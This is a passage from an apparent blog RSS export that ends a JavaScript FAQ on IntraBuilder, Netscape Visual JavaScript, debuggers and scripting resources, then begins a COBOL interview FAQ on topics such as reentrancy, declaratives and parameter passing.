<p class="MsoNormal" style="margin-left: 0.5in; margin-right: 0.5in; text-align: center; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto;" align="center"><span style="font-size: 7.5pt; font-family: Arial;"><a href="http://www.intranetjournal.com/pix/stories/ib_arch.gif"><span style="color: #0000ff;">Larger version</span></a></span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">The <strong>IntraBuilder Broker</strong> automatically provides the communications layer between the IntraBuilder Agents and the Web server, the first layer of state management, and intelligent routing.<br />
<strong>IntraBuilder Agents</strong> automatically parse forms and reports, dynamically generate HTML, participate in state management, and manage data access and formatting.<br />
The <strong>Borland Database Engine</strong> provides the database connectivity for IntraBuilder, connecting to a wide range of servers using native APIs and ODBC. </span>
</p>
<p style="text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">IntraBuilder belongs to a large, maturing class of web-to-database application development tools, several of which are listed in Intranet Journal's <a href="http://www.intranetjournal.com/tools/webdev.shtml"><span style="color: #0000ff;">Gateways to Data</span></a> section. IntraBuilder is specifically treated in this JavaScript FAQ because of the central role JavaScript plays in its design.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ6_3"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>3. What is Netscape Visual JavaScript?</h3>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">"A visual tool for rapid crossware development," according to its maker. Netscape defines <em>crossware</em> as "on-demand software that runs across networks, operating systems, and platforms and easily extends to partners and customers."</span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">IDM has experimented with Preview Release 3 of Visual JavaScript 1.0. Functionally impressive, the product strikes us primarily as a weapon in Netscape's anti-Microsoft agenda, for three reasons:</span></p>
<ol type="1">
<li> 
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l9 level2 lfo13; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Visual JavaScript's emphasis on <em>crossware</em> and <em>platform-independence</em> directly oppose Microsoft's more vertical, Windows-based architecture </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l9 level2 lfo13; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Visual JavaScript's GUI does not conform to Microsoft Windows style guidelines, despite being launched on Windows. Instead, the product appears to emulate the Unix/Motif look and feel of Sun Microsoystems'</span><span style="font-size: 11pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Java Workshop </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l9 level2 lfo13; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">multi-platform rhetoric notwithstanding, Visual JavaScript is tailored to interoperate primarily with services from Netscape’s SuiteSpot line of servers. Using a built-in component, for instance, you could call upon Netscape</span><span style="font-size: 11pt; font-family: Arial; mso-bidi-font-size: 7.5pt;"> </span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Messaging Server to send mail, or Netscape Directory Server to do an LDAP directory query. Microsoft's products in general -- and ActiveX components in particular -- are conspicuously absent from this message. </span></li>
</ul>
</li>
</ol>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">Lack of support for Microsoft technologies contrasts with Visual JavaScript's otherwise very impressive feature set, which lets developers: </span></p>
<ol type="1">
<li> 
<ul type="square">
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Author HTML with a built-in WYSIWYG Page Builder </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Drag and drop components onto web pages from the extensible Component Palette, which includes CORBA/IIOP services </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Customize components using Inspector to view and edit properties and events </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Use visual, drag-and-drop programming to connect components </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Debug applications using a <strong>built-in JavaScript debugger</strong> that lets you set breakpoints and step through code </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Manage projects with multiple developers using Enterprise Server 3.0 <strong>content management system</strong>, which enables page check-in / check-out, version control, and shared component palettes </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Tie into Oracle, Informix, Sybase, or ODBC databases using the included LiveWire JavaScript components, leveraging the built-in <strong>LiveWire Database Service</strong> in Enterprise Server 3.0. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Automatically invoke <strong>LiveWire compiler</strong> and Application Manager behind the scenes for web applications using server-side JavaScript. </span></li>
<li class="MsoNormal" style="text-align: justify; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l8 level2 lfo14; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">The bundled <strong>Component Developer's Kit</strong> lets you write new components in JavaScript or Java (i.e., standard JavaBeans). </span></li>
</ul>
</li>
</ol>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">For more information, visit <a href="http://home.netscape.com/comprod/products/tools/visual_js.html" target="_blank"><span style="color: #0000ff;">Netscape's web site</span></a>, or better yet, download a trial release of Visual JavaScript and take its measure yourself.</span></p>
<p style="text-align: right;" align="right"><a name="FAQ6_4"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<h3>4. Are there any JavaScript Debuggers?</h3>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span class="dc1"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">N</span></span><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">etscape bundles a <a href="http://developer.netscape.com/viewsource/index_frame.html?content=angus_jsdebug/angus_jsdebug.html"><span style="color: #0000ff;">debugger</span></a> with Visual JavaScript.</span></p>
<p style="margin-left: 0.5in; margin-right: 0.5in; text-align: justify;"><span style="font-size: 10pt; mso-bidi-font-size: 7.5pt;">The <a href="http://msdn.microsoft.com/scripting/debugger/default.htm" target="_blank"><span style="color: #0000ff;">Microsoft Script Debugger</span></a> is a debugging environment that extends any Microsoft ActiveX Scripting host application (for example, Internet Explorer or Internet Information Server). </span></p>
<p style="text-align: right;" align="right"><a name="FAQ7"></a><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><span style="mso-tab-count: 9;">                                                                                                            </span></span><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 11pt; color: #993300; mso-bidi-font-size: 7.5pt;"><a href="http://www.dailyinfobyte.com/wp-admin/#TOP7"><span style="color: #0000ff;">BACK TO TOP</span></a></span></strong></p>
<p class="desc"><strong><span style="text-decoration: underline;"><span style="font-size: 16pt; font-family: Arial; mso-bidi-font-size: 7.5pt;">Other Sources</span></span></strong><span style="text-decoration: underline;"></span></p>
<table style="width: 90%; mso-cellspacing: 0in; mso-padding-alt: 0in 0in 0in 0in;" border="0" cellspacing="0" cellpadding="0" width="90%">
<tbody>
<tr>
<td style="padding: 0in;">
<ol type="1">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span class="dc1"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">T</span></span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">he latest version of the semi-official JavaScript mini-FAQ is always available in the language's newsgroup, <a href="news:comp.lang.javascript"><span style="color: #0000ff;">comp.lang.javascript</span></a>. It's principal author, <a href="http://www.dannyg.com/javascript/" target="_blank"><span style="color: #0000ff;">Danny Goodman</span></a>, has written many classic computer books, including <em><a href="http://www1.fatbrain.com/asp/bookinfo/bookinfo.asp?theisbn=0764531883" target="_blank"><span style="color: #0000ff;">JavaScript Bible, 3rd Ed</span></a></em>. (IDG Books, March 1998). His site is a well-organized clearinghouse for JavaScript routines. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">A "webmaster's learning center," George Chiang's <strong>Website Abstraction</strong>, at <a href="http://www.wsabstract.com/" target="_blank"><span style="color: #0000ff;">www.wsabstract.com</span></a> is a well organized site featuring JavaScript tutorials and free code samples. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">A more basic tutorial, <strong><em>JavaScript for the Total Non-Programmer</em></strong>, is hosted by itinerant webteacher Rob Young at:<br />
<a href="http://www.webteacher.com/javatour.htm" target="_blank"><span style="color: #0000ff;">www.webteacher.com/javatour.htm</span></a>. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;"><a href="http://javascript.internet.com/" target="_blank"><span style="color: #0000ff;">The JavaScript Source</span></a> is an ever-growing collection of <strong>hundreds of free JavaScripts</strong> that are available for unrestricted use on your web pages. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 13.5pt;">M</span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">artin Webb's <a href="http://www.irt.org/articles/script.htm"><span style="color: #0000ff;">irt.org</span></a> site is "a non-profit making online developer site that covers Internet Related Technologies that are cross-browser as well as operating system and platform independent." Copious, up-to-date information on <strong>JavaScript, ECMAScript and VBScript</strong>. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;"><a href="http://www.dynamicdrive.com/" target="_blank"><span style="color: #0000ff;">Dynamic Drive</span></a> is a quality source of free, <strong>original DHTML scripts</strong> and components. There are some copyright restrictions, so read the Terms of Use carefully before indulging. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">For a solid library of <strong>sample JavaScript apps</strong> check out <a href="http://www.serve.com/hotsyte/index.cgi"><span style="color: #0000ff;">HotSyte - The JavaScript Resource</span></a>. Important subsections include <a href="http://www.serve.com/hotsyte/reserve.html"><span style="color: #0000ff;">The HotSyte Reserve</span></a> and <a href="http://www.serve.com/hotsyte/wildman/"><span style="color: #0000ff;">Tim Wildman's Script Archive</span></a>. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">Following is a list of several more of our favorite <strong>online scripting resources</strong>. If you think we missed an important one, <a href="mailto:gbenett@internet.com"><span style="color: #0000ff;">tell the editor</span></a>. </span>
<ul type="square">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;"><a href="http://www.inquiry.com/techtips/js_pro/"><span style="color: #0000ff;">Ask the JavaScript Pro</span></a> -- part of the formidable <strong>DevX site hierarchy</strong> owned by Fawcette Technical Publications </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;"><a href="http://www.geocities.com/SiliconValley/9000/"><span style="color: #0000ff;">Learn Advanced JavaScript Programming</span></a>. From book of same name; hundreds of hi-qual examples. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;"><a href="http://www.linkfinder.com/javascript.html"><span style="color: #0000ff;">LinkFinder - JavaScript</span></a> - a page of links, many distinct from this one </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">Netscape's <a href="http://developer.netscape.com/library/examples/javascript.html"><span style="color: #0000ff;">JavaScript Sample Code</span></a> library - solid. </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">First Page <a href="http://www.first-page.com/homepage/wallpick.htm"><span style="color: #0000ff;">Wallpaper Picker</span></a>, a JavaScript toy written by Gordon McComb </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level2 lfo15; tab-stops: list 1.0in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">James Thiele's <a href="http://www.eskimo.com/~jet/javascript/"><span style="color: #0000ff;">programming examples and references</span></a></span><span style="font-family: Arial;">, </span><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">including a simple calendar reminder. </span></li>
</ul>
</li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">Netscape's <a href="http://home.netscape.com/assist/net_sites/frames.html"><span style="color: #0000ff;">Frames Tutorial - An Introduction</span></a> </span></li>
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial; mso-bidi-font-size: 12.0pt;">Netscape tutorial on <a href="http://home.netscape.com/newsref/std/cookie_spec.html"><span style="color: #0000ff;">Client Side State - HTTP Cookies</span></a> </span></li>
<li class="MsoNormal" style="color: black; mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l1 level1 lfo15; tab-stops: list .5in;"><span style="font-size: 10pt; color: windowtext; font-family: Arial; mso-bidi-font-size: 12.0pt;">HTTP, CGI reference sites<br />
<a href="http://hoohoo.ncsa.uiuc.edu/"><span style="color: #0000ff;">The NCSA HTTPd Home Page</span></a><br />
<a href="http://www.apache.org/"><span style="color: #0000ff;">Apache HTTP Server Project</span></a> </span></li>
</ol>
</td>
</tr>
</tbody>
</table>
<p class="MsoNormal"> </p>
<p class="MsoNormal"> </p>
<p class="MsoNormal" style="margin-left: 0in; text-align: left;" align="left"><span style="font-weight: normal; font-size: 12pt; color: navy; text-decoration: none; text-underline: none; mso-bidi-font-size: 7.5pt;">For more details visit Intranet Journal at</span></p>
<p class="MsoNormal"><a href="http://www.intranetjournal.com/faq/js-faq.shtml"><span style="color: #0000ff;">http://www.intranetjournal.com/faq/js-faq.shtml</span></a></p>
<p class="MsoNormal"><span style="font-size: 11pt; mso-bidi-font-size: 7.5pt;"><a href="http://idm.internet.com/index.html"><span style="color: #0000ff;">http://idm.internet.com/index.html</span></a></span></p>
</div>
]]></content:encoded>
			<wfw:commentRss>http://www.dailyinfobyte.com/2009/03/25/javascript-faq/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>COBOL FAQ</title>
		<link>http://www.dailyinfobyte.com/2009/03/25/cobol-faq/</link>
		<comments>http://www.dailyinfobyte.com/2009/03/25/cobol-faq/#comments</comments>
		<pubDate>Thu, 26 Mar 2009 03:07:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Technical]]></category>
		<category><![CDATA[COBOL]]></category>
		<category><![CDATA[cobol FAQ]]></category>
		<category><![CDATA[FAQ]]></category>
		<category><![CDATA[JSP FAQ]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[perl scripts]]></category>
		<category><![CDATA[reentrant]]></category>
		<category><![CDATA[servlet questions]]></category>
		<category><![CDATA[Servlets FAQ]]></category>
		<category><![CDATA[t]]></category>
		<category><![CDATA[technical FAQ]]></category>
		<category><![CDATA[technical tips]]></category>
		<category><![CDATA[VSAM]]></category>

		<guid isPermaLink="false">http://www.dailyinfobyte.com/?p=161</guid>
		<description><![CDATA[
1. What is a reentrant program? How will you make a program Reentrant?
A. A reentrant program, while being executed resides in the common virtual area so that one copy of it may be shared among all callers. Use RENT compiler option.
2. What is the difference between a 01 level and 77 level? 
A. 01 level [...]]]></description>
			<content:encoded><![CDATA[<p style="margin-left: 0.5in; text-align: center;" align="center"><strong style="mso-bidi-font-weight: normal;"><span style="font-size: 14pt; font-family: Arial;"></span></strong></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">1. What is a reentrant program? How will you make a program Reentrant?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. A reentrant program, while being executed resides in the common virtual area so that one copy of it may be shared among all callers. Use RENT compiler option.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">2. What is the difference between a 01 level and 77 level? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. 01 level can have sublevels from 02 to 49. 77 cannot have sublevel.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">3. What are the few advantages of VS COBOL II over OS/VS COBOL?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The working storage and linkage section limit has been increased. They are 128 megabytes as supposed to 1 megabytes in OS/VS COBOL. Introduction of ADDRESS special register.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">31-bit addressing. In using COBOL on PC we have only flat files and the programs can access only limited storage, whereas in VS COBOL II on M/F the programs can access up to 16MB or 2GB depending on the addressing and can use VSAM files to make I/O operations faster.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">4. What are the steps you go through while creating a COBOL program executable?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. DB2 pre-compiler (if embedded SQL is used), CICS translator (if CICS program), Cobol compiler, Link editor. If DB2 program, create plan by binding the DBRMs.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">5. What are the minimum requirements to compile a program without errors?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Identification Division.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">Program-ID. Program-name.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A) Is compute w=u a valid statement?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">Yes, it is. It is equivalent to move u to w.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">B) In the above example, when will you prefer compute statement over the move statement?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">When significant left-order digits would be lost in execution, the </span><tt><span style="font-size: 10pt;">COMPUTE</span></tt><span style="font-size: 10pt; font-family: Arial;"> statement can detect the condition and allow you to handle it. The </span><tt><span style="font-size: 10pt;">MOVE</span></tt><span style="font-size: 10pt; font-family: Arial;"> statement carries out the assignment with destructive truncation. Therefore, if the size error is needs to be detected, COMPUTE will be preferred over MOVE. The ON SIZE ERROR phrase of </span><tt><span style="font-size: 10pt;">COMPUTE</span></tt><span style="font-size: 10pt; font-family: Arial;"> statement, compiler generates code to detect size-overflow. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">6. What happens when the </span><tt><strong><span style="font-size: 10pt; color: blue;">ON</span></strong></tt><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><tt><strong><span style="font-size: 10pt; color: blue;">SIZE</span></strong></tt><span style="font-size: 10pt; color: blue; font-family: Arial;"> </span><tt><strong><span style="font-size: 10pt; color: blue;">ERROR</span></strong></tt><span style="font-size: 10pt; color: blue; font-family: Arial;"> phrase is specified on a COMPUTE statement?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. If the condition occurs, the code in the </span><tt><span style="font-size: 10pt;">ON</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">SIZE</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">ERROR</span></tt><span style="font-size: 10pt; font-family: Arial;"> phrase is performed, and the content of the destination field remains unchanged. If the </span><tt><span style="font-size: 10pt;">ON</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">SIZE</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">ERROR</span></tt><span style="font-size: 10pt; font-family: Arial;"> phrase is not specified, the assignment is carried out with truncation. There is no </span><tt><span style="font-size: 10pt;">ON</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">SIZE</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">ERROR</span></tt><span style="font-size: 10pt; font-family: Arial;"> support for the </span><tt><span style="font-size: 10pt;">MOVE</span></tt><span style="font-size: 10pt; font-family: Arial;"> statement. </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">7. How will you associate your files with external data sets where they physically reside?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Using SELECT clause, the files can be associated with external data sets. The SELECT clause is defined in the FILE-CONTROL paragraph of Input-Output Section that is coded Environment Division. The File structure is defined by FD entry under File-Section of Data Division for the OS.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">8. How will you define your file to the operating system?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Associate the file with the external data set using SELECT clause of INPUT-OUTPUT SECTION. INPUT-OUTPUT SECTION appears inside the ENVIRONMENT DIVISION.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">Define your file structure in the FILE SECTION of DATA DIVISION.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">9. Explain the use of Declaratives in COBOL?</span></p>
<ol type="A">
<li class="MsoNormal" style="mso-margin-top-alt: auto; mso-margin-bottom-alt: auto; mso-list: l10 level1 lfo3; tab-stops: list .5in;"><span style="font-size: 10pt; font-family: Arial;">Declaratives provide special section that are executed when an exceptional condition occurs. They must be grouped together and coded at the beginning of procedure division and the entire procedure division must be divided into sections. The Declaratives start with a USE statement. The entire group of declaratives is preceded by DECLARIVES and followed by END DECLARITIVES in area A. The three types of declaratives are Exception (when error occurs during file handling), Debugging (to debug lines with &#8216;D&#8217; coded in w-s section) and Label (for EOF or beginning&#8230;) declaratives. </span></li>
</ol>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">10. A statically bound subprogram is called twice. What happens to working-storage variables? </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. The working-storage section is allocated at the start of the run-unit and any data items with VALUE clauses are initialized to the appropriate value at the time. When the subprogram is called the second time, a working-storage items persist in their last used state. However, if the program is specified with INITIAL on the PROGRAM-ID, working-storage section is reinitialized each time the program is entered.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">PROGRAM-ID. &lt;Pgmname&gt; is INITIAL PROGRAM. Other verbs used with PROGRAM-ID are RECURSIVE and COMMON.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">11. When is COMMON attribute used?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. COMMON attribute is used with nested COBOL programs. If it is not specified, other nested programs will not be able to access the program. PROGRAM-ID. Pgmname is COMMON PROGRAM.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">12. In which division and section, the Special-names paragraph appears?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Environment division and Configuration Section.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">13. What is the LOCAL-STORAGE SECTION?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. Local-Storage is allocated each time the program is called and is de-allocated when the program returns via an </span><tt><span style="font-size: 10pt;">EXIT</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">PROGRAM</span></tt><span style="font-size: 10pt; font-family: Arial;">, </span><tt><span style="font-size: 10pt;">GOBACK</span></tt><span style="font-size: 10pt; font-family: Arial;">, or </span><tt><span style="font-size: 10pt;">STOP</span></tt><span style="font-size: 10pt; font-family: Arial;"> </span><tt><span style="font-size: 10pt;">RUN</span></tt><span style="font-size: 10pt; font-family: Arial;">. Any data items with a </span><tt><span style="font-size: 10pt;">VALUE</span></tt><span style="font-size: 10pt; font-family: Arial;"> clauses are initialized to the appropriate value each time the program is called. The value in the data items is lost when the program returns. It is defined in the DATA DIVISION after WORKING-STORAGE SECTION</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">14. What does passing BY REFERENCE mean?</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">A. When the data is passed between programs, the subprogram refers to and processes the data items in the calling program&#8217;s storage, rather than working on a copy of the data. When </span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; font-family: Arial;">CALL . . . BY REFERENCE <var><span style="font-family: Arial;">identifier</span></var>. In this case, the caller and the called share the same memory.</span></p>
<p style="margin-left: 0.5in;"><span style="font-size: 10pt; color: blue; font-family: Arial;">15. What does passing BY CONTENT mean?</span></p>
